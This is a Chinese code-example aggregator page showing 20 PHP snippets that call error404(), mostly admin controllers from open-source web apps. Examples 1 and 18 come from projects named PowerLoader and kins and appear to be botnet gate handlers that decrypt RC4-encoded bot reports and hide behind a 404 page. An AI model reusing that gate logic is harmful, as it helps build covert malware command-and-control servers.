本文整理汇总了PHP中error404函数的典型用法代码示例。如果您正苦于以下问题:PHP error404函数的具体用法?PHP error404怎么用?PHP error404使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了error404函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: GetServerData
function GetServerData()
{
global $bot_id, $data_type, $raw_data;
//if (defined('D_DEBUG')) $str = $_GET['str']; else
$str = file_get_contents('php://input');
if (!$str) {
if (defined('D_DEBUG')) {
logerror("Error: E1");
} else {
error404();
}
}
//if (!defined('D_DEBUG'))
$str = RC4($str, $_SERVER['HTTP_HOST']);
bdecodestr($str, $bot_id, $data_type, $raw_data);
if (defined('D_DEBUG')) {
logerror($bot_id . " | " . $data_type . " | " . strlen($raw_data));
}
if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) {
if (defined('D_DEBUG')) {
logerror("Error: E2");
} else {
error404();
}
}
}
开发者ID:conjuringtricks,项目名称:PowerLoader,代码行数:26,代码来源:data.php
示例2: edit
function edit($userId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Users_Model->get($userId, true), $userId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmUsersEdit', 'fields' => array('userId' => array('type' => 'hidden', 'value' => $userId), 'userEmail' => array('type' => 'text', 'label' => lang('Email')), 'userFirstName' => array('type' => 'text', 'label' => lang('First name')), 'userLastName' => array('type' => 'text', 'label' => lang('Last name')), 'countryId' => array('type' => 'dropdown', 'label' => lang('Country'), 'appendNullOption' => true), 'groups' => array('type' => 'groupCheckBox', 'label' => lang('Groups'), 'showId' => true)));
if ((int) $userId > 0) {
$form['urlDelete'] = base_url('users/delete/');
$form['fields']['userFeeds'] = array('type' => 'link', 'label' => lang('View feeds'), 'value' => base_url('feeds/listing/?userId=' . $userId));
$form['fields']['userLogs'] = array('type' => 'link', 'label' => lang('View logs'), 'value' => base_url('users/logs/?userId=' . $userId . '&orderBy=userLogDate&orderDir=desc'));
}
$form['rules'] = array(array('field' => 'userEmail', 'label' => $form['fields']['userEmail']['label'], 'rules' => 'trim|required|valid_email|callback__validate_exitsEmail'), array('field' => 'userFirstName', 'label' => $form['fields']['userFirstName']['label'], 'rules' => 'trim|required'), array('field' => 'userLastName', 'label' => $form['fields']['userLastName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Users_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code);
}
}
$form['fields']['countryId']['source'] = $this->Countries_Model->selectToDropdown();
$form['fields']['groups']['source'] = $this->Groups_Model->selectToDropdown();
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit users')), 'form' => populateCrForm($form, $data)));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:30,代码来源:users.php
示例3: tagEdit
function tagEdit($tagId)
{
if (!$this->safety->allowByControllerName('tools/tags')) {
return errorForbidden();
}
$data = getCrFormData($this->Tags_Model->get($tagId), $tagId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmTagEdit', 'rules' => array(), 'fields' => array('tagId' => array('type' => 'hidden', 'value' => $tagId), 'tagName' => array('type' => 'text', 'label' => lang('Name'))));
if ((int) $tagId > 0) {
$form['urlDelete'] = base_url('tools/tagDelete/');
}
$form['rules'] += array(array('field' => 'tagName', 'label' => $form['fields']['tagName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Tags_Model->saveTagByUserId($this->session->userdata('userId'), $this->input->post('tagId'), $this->input->post('tagName'));
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code);
}
}
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit tags'), 'robots' => 'noindex,nofollow'), 'form' => populateCrForm($form, $data)));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:26,代码来源:tools.php
示例4: edit
function edit($feedId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Feeds_Model->get($feedId, true, true), $feedId);
if ($data === null) {
return error404();
}
$form = $this->_getFormProperties($feedId);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$_POST['feedSuggest'] = $this->input->post('feedSuggest') == 'on';
$_POST['fixLocale'] = $this->input->post('fixLocale') == 'on';
$_POST['feedKeepOldEntries'] = $this->input->post('feedKeepOldEntries') == 'on';
$this->Feeds_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code);
}
}
$form['fields']['countryId']['source'] = $this->Countries_Model->selectToDropdown();
$form['fields']['langId']['source'] = $this->Languages_Model->selectToDropdown();
$form['fields']['statusId']['source'] = $this->Status_Model->selectToDropdown();
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit feeds')), 'form' => populateCrForm($form, $data)));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:27,代码来源:feeds.php
示例5: mainAction
public function mainAction()
{
$model = new PageModel();
$modelProfile = new ProfileModel();
$this->view->ladder_list = $modelProfile->getTopLadder(5);
$this->view->last_reg_list = $modelProfile->getLastRegistered(5);
$this->view->last_matches = $modelProfile->getLastMatchesList(5);
$act = Request::getUri(0);
$id = intval(Request::getUri(1));
if ($act == 'read' && $id > 0) {
redirect(SITE_URL . 'main/readblog?pid=' . $id);
// echo SITE_URL.'main/readblog';
$news = $model->getNews($id, Lang::$language);
if (!$news) {
error404();
}
$this->view->news = $content;
// $news;
$this->view->title = $title;
//$news->name;
} else {
Pagination::calculate(get('page'), 10, $model->countNews(Lang::$language));
$this->view->newsList = $model->getAllNews(Lang::$language, Pagination::$start, Pagination::$end);
$this->view->title = Lang::translate('MAIN_TITLE');
}
}
开发者ID:terrasystems,项目名称:csgobattlecom,代码行数:26,代码来源:Controller.php
示例6: edit
function edit($menuId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Menu_Model->get($menuId), $menuId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmMenuEdit', 'buttons' => array('<button type="submit" class="btn btn-primary"><i class="fa fa-save"></i> ' . lang('Save') . '</button> '), 'fields' => array('menuId' => array('type' => 'hidden', 'value' => $menuId), 'menuTree' => array('type' => 'tree', 'value' => $menuId, 'source' => $this->Menu_Model->getMenu(0, false, $fields = array("menuId AS id", "CONCAT(menuName, ' (', menuId, ')', IF(ISNULL(controllerName), '', CONCAT(' (', controllerName, ')'))) AS label", "CONCAT('menu/edit/', menuId) AS url"))), 'menuName' => array('type' => 'text', 'label' => lang('Name')), 'controllerId' => array('type' => 'dropdown', 'label' => lang('Controller'), 'appendNullOption' => true), 'menuParentId' => array('type' => 'text', 'label' => 'menuParentId'), 'menuPosition' => array('type' => 'text', 'label' => lang('Position')), 'menuClassName' => array('type' => 'text', 'label' => 'className'), 'menuIcon' => array('type' => 'text', 'label' => 'Icon'), 'menuTranslate' => array('type' => 'checkbox', 'label' => lang('Translate')), 'menuDividerBefore' => array('type' => 'checkbox', 'label' => lang('Divider before')), 'menuDividerAfter' => array('type' => 'checkbox', 'label' => lang('Divider after'))));
if ((int) $menuId > 0) {
$form['urlDelete'] = base_url('menu/delete');
array_unshift($form['buttons'], '<button type="button" class="btn btn-danger"><i class="fa fa-trash-o"></i> ' . lang('Delete') . ' </button>');
array_unshift($form['buttons'], '<button type="button" class="btn btn-default" onclick="$.goToUrl(\'' . base_url('menu') . '\');" ><i class="fa fa-arrow-left"></i> ' . lang('Cancel') . ' </button>');
}
$form['rules'] = array(array('field' => 'menuName', 'label' => $form['fields']['menuName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Menu_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
// save data
return loadViewAjax($code, $code == false ? null : array('goToUrl' => base_url('menu/edit/' . $menuId), 'reloadMenu' => true));
}
}
$form['fields']['controllerId']['source'] = $this->Controllers_Model->selectToDropdown(true);
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit menu')), 'form' => populateCrForm($form, $data)));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:30,代码来源:menu.php
示例7: edit
function edit($controllerId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Controllers_Model->get($controllerId), $controllerId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmControllersEdit', 'fields' => array('controllerId' => array('type' => 'hidden', 'value' => $controllerId), 'controllerName' => array('type' => 'text', 'label' => lang('Controller')), 'controllerUrl' => array('type' => 'text', 'label' => lang('Url')), 'controllerActive' => array('type' => 'checkbox', 'label' => lang('Active'))));
if ((int) $controllerId > 0) {
$form['urlDelete'] = base_url('controllers/delete/');
}
$form['rules'] = array(array('field' => 'controllerName', 'label' => $form['fields']['controllerName']['label'], 'rules' => 'trim|required|callback__validate_exitsName'), array('field' => 'controllerUrl', 'label' => $form['fields']['controllerUrl']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Controllers_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code, array('reloadMenu' => true));
}
}
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit controllers')), 'form' => populateCrForm($form, $data)));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:26,代码来源:controllers.php
示例8: edit
function edit($groupId)
{
if (!$this->safety->allowByControllerName(__METHOD__)) {
return errorForbidden();
}
$data = getCrFormData($this->Groups_Model->get($groupId), $groupId);
if ($data === null) {
return error404();
}
$form = array('frmName' => 'frmGroupsEdit', 'fields' => array('groupId' => array('type' => 'hidden', 'value' => $groupId), 'groupName' => array('type' => 'text', 'label' => lang('Name')), 'groupHomePage' => array('type' => 'text', 'label' => lang('Home page')), 'controllers' => array('type' => 'groupCheckBox', 'label' => lang('Controllers'), 'showId' => true)));
if ((int) $groupId > 0) {
$form['urlDelete'] = base_url('groups/delete/');
}
$form['rules'] = array(array('field' => 'groupName', 'label' => $form['fields']['groupName']['label'], 'rules' => 'trim|required'));
$this->form_validation->set_rules($form['rules']);
if ($this->input->post() != false) {
$code = $this->form_validation->run();
if ($code == true) {
$this->Groups_Model->save($this->input->post());
}
if ($this->input->is_ajax_request()) {
return loadViewAjax($code, array('reloadMenu' => true));
}
}
$form['fields']['controllers']['source'] = $this->Controllers_Model->selectToDropdown(true);
$this->load->view('pageHtml', array('view' => 'includes/crForm', 'meta' => array('title' => lang('Edit groups')), 'form' => populateCrForm($form, $data)));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:27,代码来源:groups.php
示例9: init
public function init()
{
parent::init();
if (!bt_geo_enabled()) {
error404();
}
}
开发者ID:sakibanda,项目名称:ballistic-tracking,代码行数:7,代码来源:GeographyController.php
示例10: url
public function url($name, $params = [])
{
if (!isset($this->namedRoutes[$name])) {
ifNoDebug404();
error404();
throw new \Exception('No route matches this name');
}
return $this->namedRoutes[$name]->getUrl($params);
}
开发者ID:monobloclimber,项目名称:summit,代码行数:9,代码来源:Router.php
示例11: error
function error($msg = '', $code = false)
{
if ($code == 404) {
error404($msg);
return;
}
echo 'Error occured:' . $msg . '<br>Please, contact administrator.';
exit;
}
开发者ID:andreytech,项目名称:mary-framework,代码行数:9,代码来源:error.php
示例12: cleanExpired
/**
* @return $this
*/
public function cleanExpired()
{
if (!IS_CLI) {
return error404();
}
Config::_getInstance()->load('Token');
$eI = config('expireInterval', 'Token');
DB::_getInstance()->query("DELETE FROM `Token` WHERE `Created` < NOW() - INTERVAL {$eI} AND `ID` > 1");
return $this;
}
开发者ID:enderteszla,项目名称:phpframework-etc,代码行数:13,代码来源:Token.php
示例13: logout
/**
* @return $this
*/
public function logout()
{
if (!input('json')) {
return error404();
}
Token::_getInstance()->__($this->_('token', false));
if (is_null($this->_('token')) || is_null($this->_('token')['UserID']) || $this->_('token')['Type'] != 'session') {
return $this->addError('authentication', 2);
}
Token::_getInstance()->_drop();
return $this;
}
开发者ID:enderteszla,项目名称:phpframework-etc,代码行数:15,代码来源:User.php
示例14: formXml
function formXml($formId)
{
$filename = getFormFilename($formId);
if (file_exists($filename)) {
$title = getFormTitle($formId);
header('Content-Type: text/xml; charset=utf-8');
header('Content-Disposition: attachment; filename="' . $title . '.xml";');
readfile($filename);
} else {
error404();
}
}
开发者ID:raphaelhuefner,项目名称:odk_micro,代码行数:12,代码来源:actions.php
示例15: load
/**
* @param string $class
*/
public function load($class)
{
switch (true) {
case is_file(CONTROLLER_PATH . "{$class}.php"):
include_once CONTROLLER_PATH . "{$class}.php";
break;
case is_file(SHELL_PATH . "{$class}.php"):
include_once SHELL_PATH . "{$class}.php";
break;
default:
error404();
}
}
开发者ID:enderteszla,项目名称:phpframework-etc,代码行数:16,代码来源:Loader.php
示例16: render
public function render()
{
$longurl = new DagdShortenController();
$text = $longurl->getLongURL($this->route_matches[1]);
if ($text === null) {
return error404();
}
$qs = build_given_querystring();
if ($this->route_matches[2]) {
return $text . '/' . $this->route_matches[2] . $qs;
} else {
return $text . $qs;
}
}
开发者ID:relrod,项目名称:dagd,代码行数:14,代码来源:coshorten.php
示例17: saveEntitySef
function saveEntitySef($entityTypeId, $entityId)
{
$entityConfig = getEntityConfig($entityTypeId);
$controller = sprintf('%s/edit', $entityConfig['entityTypeName']);
// TODO: hacer un config
if (!$this->safety->allowByControllerName($controller)) {
return errorForbidden();
}
$entitySef = $this->Commond_Model->saveEntitySef($entityTypeId, $entityId);
if ($entitySef == null) {
return error404();
}
$entityUrl = getEntityUrl($entityTypeId, $entitySef);
return loadViewAjax(true, array('entityUrl' => $entityUrl));
}
开发者ID:nsystem1,项目名称:cloneReader,代码行数:15,代码来源:app.php
示例18: GetServerData
function GetServerData()
{
global $bot_id, $data_type, $raw_data;
$str = file_get_contents('php://input');
if (!$str) {
debug("Error: E1");
error404();
}
$str = RC4($str, $_SERVER['HTTP_HOST']);
bdecodestr($str, $bot_id, $data_type, $raw_data);
debug($bot_id . " | " . $data_type . " | " . strlen($raw_data));
if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) {
debug("Error: E2");
error404();
}
}
开发者ID:azizjonm,项目名称:kins,代码行数:16,代码来源:gate.php
示例19: getAction
public function getAction()
{
if (empty($_SERVER['HTTP_X_REQUESTED_WITH'])) {
error404();
}
$model = new ChatModel();
$dialog = '';
$userList = '';
$lastMessageID = getSession('chat_lmid', false);
$chatList = $model->getChatMessages('chat', 'ASC', $lastMessageID);
if ($chatList) {
foreach ($chatList as $value) {
$msg = ' ' . $value['message'];
if (strpos($msg, Request::getParam('user')->nickname) !== false) {
$color = ' chat_your_msg';
} else {
$color = false;
}
$dialog .= '<div class="chat_message' . $color . '">' . '<div class="chat_img"><a href="' . url($value['uid']) . '" target="_blank"><img src="' . getAvatar($value['uid'], 's') . '"></a></div>' . '<div class="chat_text">' . '<div><span class="chat_nickname" onclick="chatNickname(\'' . $value['uName'] . '\');">' . $value['uName'] . '</span> <span class="chat_time">' . printTime($value['time']) . '</span></div>' . '<div>' . $value['message'] . '</div>' . '</div>' . '</div>';
setSession('chat_lmid', $value['id']);
}
}
unset($chatList);
/*
if (time()%5 == 0 OR getSession('chat_ses') == 0) {
$listUserOnline = $model->getUserOnline();
$countUser = 0;
while ($list = mysqli_fetch_object($listUserOnline)) {
$userList .= '<li><a href="' . url($list->id) . '" target="_blank"><span>' . $list->nickname . '</span><span class="level-icon">' . $list->level . '</span></a></li>';
$countUser++;
}
$response['userList'] = $userList;
$response['countUser'] = $countUser;
}
*/
$response['error'] = 0;
if ($dialog) {
$response['target_a']['#dialog'] = $dialog;
}
setSession('chat_ses', 1);
echo json_encode($response);
exit;
}
开发者ID:terrasystems,项目名称:csgobattlecom,代码行数:47,代码来源:Controller.php
示例20: route
function route($request)
{
include_once BASEDIR . '/app/actions.php';
switch ($request->path) {
case 'formList':
formList();
break;
case 'formXml':
if (isset($request->query['formId'])) {
formXml($request->query['formId']);
}
break;
default:
error404();
break;
}
}
开发者ID:raphaelhuefner,项目名称:odk_micro,代码行数:17,代码来源:index.php
注:本文中的error404函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论